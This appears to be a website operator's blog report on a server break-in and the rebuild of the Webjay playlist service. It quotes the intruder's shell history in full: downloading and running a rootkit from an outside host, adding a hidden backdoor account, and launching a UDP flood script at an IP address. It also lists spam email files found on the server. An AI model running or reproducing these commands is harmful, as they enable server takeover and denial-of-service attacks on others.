Webjay outage report

The last backed-up version is now running on the new server and I'm in the process of merging in the freshest data and code. All together, the new version is up but in a very buggy state.

Kevin dug up the history file for the cracker. Unix people will recognize this as an exact copy of what the guy did when he first logged in. It's like watching a videotape of somebody breaking into your house.

cd /dev

history

wget http://www.cascorosso.com/xpl/shv5.tar.gz

tar -zxvf shv5.tar.gz

cd shv5

./setup 123qwe 404

history -r~

history -r

vi /etc/passwd

vi /etc/passwd

/usr/sbin/userdel fire

/usr/sbin/userdel lordx

ps xw

w

ls

exit

uname -a

/usr/sbin/adduser crond -d /dev/crond

passwd crond

uname -a

exit

id

wget perl udp.pl 200.103.191.2 29 2000

wget www.packetstormsecurity.org/DoS/udp.pl

perl udp.pl 200.103.191.2 29 2000

which lsof

/usr/sbin/lsof | grep r0nin

/usr/sbin/lsof | grep r0nin | less

cd /home/httpd

ls

cd vhosts/

ls

pwd

less kaotic.pl

ls -la

which talkd

which tall

which talk

man talk

ls -lrt

less messages

Notice that kaotic.pl file -- it must have been there before login, so the crack must have deposited it somehow. By the time we got to kaotic.pl it was full of the same garbage that all the files had in them.

The database looks fine, so playlists and user accounts should be in good shape.

There are two backups of the code, a fairly old one which holds everything and a fresh one which holds only a few critical modules. These two different snapshots will have to be knitted together, which means that bugs will crop up during the first 1-2 days back up. Also, bugs fixed in the older backup will have to be refound and refixed.

My guess for how long the work will take is a few days at the least, a week at the most.

Kevin Prichard had an idea that the cracker was Brazilian, and I really thought for a second -- how hard would it be to get down there on short notice?

The replacement Webjay server is now physically up and we can log in to get started. It's a completely fresh machine, so the next stage is basic things like user accounts, MySQL and Perl.

Later on we discover this setup in /dev/shm:

Lee    [lee@generalpublic shm]$ ls -lt

Lee    total 8660

Lee    -rw-r--r-- 1 root root 4667507 Nov 28 15:33 emails3.txt

Lee    -rw-r--r-- 1 root root 378368 Nov 28 15:32 email1.6.txt

Lee    -rw-r--r-- 1 root root 3782928 Nov 28 15:25 emails.txt

Lee    -rw-r--r-- 1 root root 32 Nov 28 15:00 ok.txt

Lee    -rw-r--r-- 1 root root 2404 Nov 28 14:16 enviar.txt

Lee    -rw-r--r-- 1 root root 3760 Nov 28 13:16 microsoft.htm

Lee    that'll help the spam problem

...

plaus    heh... i think this guy was shotgunning emails that helped him find vulnerable

Win* machines to zombiefy - just a theory

"enviar" means "to send" in spanish. In other words, the guy would have used this cracked box to send out virii. I realize that doesn't make sense, since the guy also announced his presence by breaking as much as possible, but people are stupid.

Ok, so, what happened? I'll post bits as I have time to write and something to say.

I woke up this morning, Sunday, with the phone ringing. It was Jeff Harrington, who I know only via the net, as a composer-blogger and Webjay playlister, telling me the server was down. This was a really nice thing to do.

I logged on. The first thing I see is that a server configuration file has been replaced with a mangy bunch of HTML bragging about an exploit. After a little more poking around I find that all files under the web home have been replaced by that same text.

The Webjay server has been cracked well enough to consider it totalled. I have created this weblog to report progress as the rebuild goes on.